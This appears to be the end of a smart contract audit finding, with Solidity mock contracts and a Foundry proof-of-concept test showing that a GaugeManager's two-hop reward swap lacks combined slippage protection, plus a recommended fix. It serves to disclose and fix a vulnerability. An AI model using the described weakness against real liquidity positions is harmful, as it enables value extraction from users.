    ↪ tokensOwed0, tokensOwed1);
}

function observations(uint256)
    external
    pure
    override
    returns (uint32 blockTimestamp, int56 tickCumulative, uint160
    ↪ secondsPerLiquidityPostWriteX128, bool initialized)
{
    return (blockTimestamp, tickCumulative, secondsPerLiquidityPostWriteX128,
    ↪ initialized);
}

function ticks(int24)
    external
    pure
    override
    returns (
        uint128 liquidityGross,
        int128 liquidityNet,
        int128 stakedLiquidityNet,
        uint256 feeGrowthOutside0X128,
        uint256 feeGrowthOutside1X128,
        uint256 rewardGrowthOutsideX128,
        int56 tickCumulativeOutside,
        uint160 secondsPerLiquidityOutsideX128,
        uint32 secondsOutside,
        bool initialized
    )
{
    return (
        liquidityGross,
        liquidityNet,
        stakedLiquidityNet,
        feeGrowthOutside0X128,
        feeGrowthOutside1X128,
        rewardGrowthOutsideX128,
        tickCumulativeOutside,
        secondsPerLiquidityOutsideX128,
        secondsOutside,
        initialized
    );
}

}

contract MockVault is IERC721Receiver {
    mapping(uint256 => address) public owners;

    function setOwner(uint256 tokenId, address owner) external {
        owners[tokenId] = owner;
    }

    function ownerOf(uint256 tokenId) external view returns (address) {
        return owners[tokenId];
    }
}

```

```

function onERC721Received(address, address, uint256, bytes calldata) external pure
↳ returns (bytes4) {
    return IERC721Receiver.onERC721Received.selector;
}
}

contract MockNPM is ERC721 {
    struct Position {
        address token0;
        address token1;
        uint24 feeOrTickSpacing;
        int24 tickLower;
        int24 tickUpper;
        uint128 liquidity;
    }

    address public immutable factory;
    address public immutable WETH9;

    mapping(uint256 => Position) internal positionData;

    uint256 public nextAdded0;
    uint256 public nextAdded1;

    constructor(address _factory, address _weth) ERC721("Mock NPM", "MNPM") {
        factory = _factory;
        WETH9 = _weth;
    }

    function mint(address to, uint256 tokenId) external {
        _mint(to, tokenId);
    }

    function setPosition(
        uint256 tokenId,
        address tokenA,
        address tokenB,
        uint24 feeOrTickSpacing,
        int24 tickLower,
        int24 tickUpper,
        uint128 liquidity
    ) external {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB,
↳ tokenA);
        positionData[tokenId] = Position(token0, token1, feeOrTickSpacing, tickLower,
↳ tickUpper, liquidity);
    }

    function setNextIncreaseLiquidityResult(uint256 amount0, uint256 amount1) external {
        nextAdded0 = amount0;
        nextAdded1 = amount1;
    }

    function positions(uint256 tokenId)
        external
        view
        returns (
            uint96,
            address,
            address token0,
            address token1,
            uint24 fee,
            int24 tickLower,
            int24 tickUpper,
            uint128 liquidity,
            uint256,

```

```

        uint256,
        uint128,
        uint128
    )
}

Position memory position = positionData[tokenId];
return (
    0,
    address(0),
    position.token0,
    position.token1,
    position.feeOrTickSpacing,
    position.tickLower,
    position.tickUpper,
    position.liquidity,
    0,
    0,
    0,
    0
);
}

function increaseLiquidity(INonfungiblePositionManager.IncreaseLiquidityParams
↳ calldata params)
external
returns (uint128 liquidity, uint256 amount0, uint256 amount1)
{
    Position storage position = positionData[params.tokenId];
    amount0 = nextAdded0 == 0 ? params.amount0Desired :
↳ Math.min(params.amount0Desired, nextAdded0);
    amount1 = nextAdded1 == 0 ? params.amount1Desired :
↳ Math.min(params.amount1Desired, nextAdded1);

    if (amount0 != 0) {
        IERC20(position.token0).transferFrom(msg.sender, address(this), amount0);
    }
    if (amount1 != 0) {
        IERC20(position.token1).transferFrom(msg.sender, address(this), amount1);
    }

    nextAdded0 = 0;
    nextAdded1 = 0;
    liquidity = amount0 + amount1 == 0 ? 0 : 1;
    position.liquidity += liquidity;
}
}

contract MockGauge is IGauge {
    IERC721 public immutable nft;
    IERC20 public immutable rewardToken;

    mapping(uint256 => address) public staker;
    mapping(uint256 => uint256) public rewardPerTokenId;
    bool public revertOnGetReward;
    address public payoutToken0;
    address public payoutToken1;
    uint256 public depositPayout0;
    uint256 public depositPayout1;
    uint256 public withdrawPayout0;
    uint256 public withdrawPayout1;

    constructor(IERC721 _nft, IERC20 _rewardToken) {
        nft = _nft;
        rewardToken = _rewardToken;
    }
}

```

```

function setReward(uint256 tokenId, uint256 amount) external {
    rewardPerTokenId[tokenId] = amount;
}

function setRevertOnGetReward(bool value) external {
    revertOnGetReward = value;
}

function setPayoutConfig(
    address _payoutToken0,
    address _payoutToken1,
    uint256 _depositPayout0,
    uint256 _depositPayout1,
    uint256 _withdrawPayout0,
    uint256 _withdrawPayout1
) external {
    payoutToken0 = _payoutToken0;
    payoutToken1 = _payoutToken1;
    depositPayout0 = _depositPayout0;
    depositPayout1 = _depositPayout1;
    withdrawPayout0 = _withdrawPayout0;
    withdrawPayout1 = _withdrawPayout1;
}

function deposit(uint256 tokenId) external override {
    nft.transferFrom(msg.sender, address(this), tokenId);
    if (depositPayout0 != 0) {
        IERC20(payoutToken0).transfer(msg.sender, depositPayout0);
    }
    if (depositPayout1 != 0) {
        IERC20(payoutToken1).transfer(msg.sender, depositPayout1);
    }
    staker[tokenId] = msg.sender;
}

function withdraw(uint256 tokenId) external override {
    if (staker[tokenId] != msg.sender) {
        revert("not staker");
    }

    if (withdrawPayout0 != 0) {
        IERC20(payoutToken0).transfer(msg.sender, withdrawPayout0);
    }
    if (withdrawPayout1 != 0) {
        IERC20(payoutToken1).transfer(msg.sender, withdrawPayout1);
    }

    delete staker[tokenId];
    nft.transferFrom(address(this), msg.sender, tokenId);
}

function getReward(uint256 tokenId) external override {
    if (revertOnGetReward) {
        revert("reward revert");
    }
    if (staker[tokenId] == address(0)) {
        revert("not staked");
    }

    uint256 reward = rewardPerTokenId[tokenId];
    rewardPerTokenId[tokenId] = 0;
    if (reward != 0) {
        rewardToken.transfer(msg.sender, reward);
    }
}
}

```

```

contract GaugeManagerUnitTest is Test {
    uint256 internal constant TOKEN_ID = 1;
    address internal constant ALICE = address(0xA11CE);
    address internal constant RECIPIENT = address(0xBEEF);

    MockERC20Token internal aero;
    MockERC20Token internal usdc;
    MockERC20Token internal dai;
    MockERC20Token internal weth;
    MockSlipstreamFactory internal factory;
    MockPool internal usdcDaiPool;
    MockPool internal aeroUsdcPool;
    MockPool internal aeroWethPool;
    MockNPM internal npm;
    MockGauge internal gauge;
    MockVault internal vault;
    GaugeManager internal gaugeManager;

    function setUp() external {
        aero = new MockERC20Token("AERO", "AERO");
        usdc = new MockERC20Token("USDC", "USDC");
        dai = new MockERC20Token("DAI", "DAI");
        weth = new MockERC20Token("WETH", "WETH");

        factory = new MockSlipstreamFactory();
        usdcDaiPool = new MockPool(address(usdc), address(dai), 100);
        aeroUsdcPool = new MockPool(address(aero), address(usdc), 200);
        aeroWethPool = new MockPool(address(aero), address(weth), 200);

        npm = new MockNPM(address(factory), address(weth));
        gauge = new MockGauge(IERC721(address(npm)), IERC20(address(aero)));
        vault = new MockVault();

        usdcDaiPool.setGauge(address(gauge));

        factory.setPool(address(usdc), address(dai), 100, address(usdcDaiPool));
        factory.setPool(address(aero), address(usdc), 200, address(aeroUsdcPool));
        factory.setPool(address(aero), address(weth), 200, address(aeroWethPool));

        gaugeManager = new GaugeManager(
            INonfungiblePositionManager(address(npm)), IERC20(address(aero)),
            ↪ IVault(address(vault)), address(0), address(0)
        );

        gaugeManager.setGauge(address(usdcDaiPool), address(gauge));
        gaugeManager.setRewardBasePool(address(usdc), address(aeroUsdcPool));
        gaugeManager.setRewardBasePool(address(weth), address(aeroWethPool));

        npm.setPosition(TOKEN_ID, address(usdc), address(dai), 100, -60, 60, 10);
        npm.mint(address(vault), TOKEN_ID);
        vault.setOwner(TOKEN_ID, ALICE);

        vm.prank(address(vault));
        npm.approve(address(gaugeManager), TOKEN_ID);

        // Pre-fund pools with output tokens for swaps.
        usdc.mint(address(aeroUsdcPool), 1_000_000 ether);
        aero.mint(address(aeroUsdcPool), 1_000_000 ether);
        dai.mint(address(usdcDaiPool), 1_000_000 ether);
        usdc.mint(address(usdcDaiPool), 1_000_000 ether);
        weth.mint(address(aeroWethPool), 1_000_000 ether);
        aero.mint(address(aeroWethPool), 1_000_000 ether);
    }

    function test_TwoHopLacksCombinedSlippageProtection() external {

```

```

console.log("\n=== PoC 1: Two-Hop Swap No Combined Slippage ===");

_stake();

// Give AERO rewards
aero.mint(address(gauge), 1000 ether);
gauge.setReward(TOKEN_ID, 1000 ether);

// Configure high slippage on both hops (2.5% each)
aeroUsdcPool.setOutputBps(9750); // 2.5% slippage
usdcDaiPool.setOutputBps(9750); // 2.5% slippage

// Force two-hop path by removing direct pool for DAI
gaugeManager.setRewardBasePool(address(dai), address(0));

uint256 usdcBefore = usdc.balanceOf(ALICE);
uint256 daiBefore = dai.balanceOf(ALICE);

vm.prank(address(vault));
(uint256 aeroAmount, uint256 added0, uint256 added1) =
    gaugeManager.compoundRewards(TOKEN_ID, 0, 5000, block.timestamp + 1000);

uint256 usdcAfter = usdc.balanceOf(ALICE);
uint256 daiAfter = dai.balanceOf(ALICE);

console.log("AERO claimed", aeroAmount / 1e18);
console.log("USDC added to position", added0 / 1e18);
console.log("DAI added to position", added1 / 1e18);
console.log("USDC leftover to user", (usdcAfter - usdcBefore) / 1e18);
console.log("DAI leftover to user", (daiAfter - daiBefore) / 1e18);

// Combined slippage is ~4.9% (2.5% compounded)
// Expected without slippage: ~500 USDC + ~500 DAI
// Actual: significantly less
assertLt(added0 + added1, 950 ether, "Combined slippage loss should be visible");

console.log("PoC 1 PASSED: Two-hop route suffered unmitigated combined
    ↪ slippage");
}

```

Recommendation: Add a final combined `amountOutMin` check in `_swapAeroToTarget` before adding liquidity. Calculate the expected output from both legs and enforce a minimum on the total value added.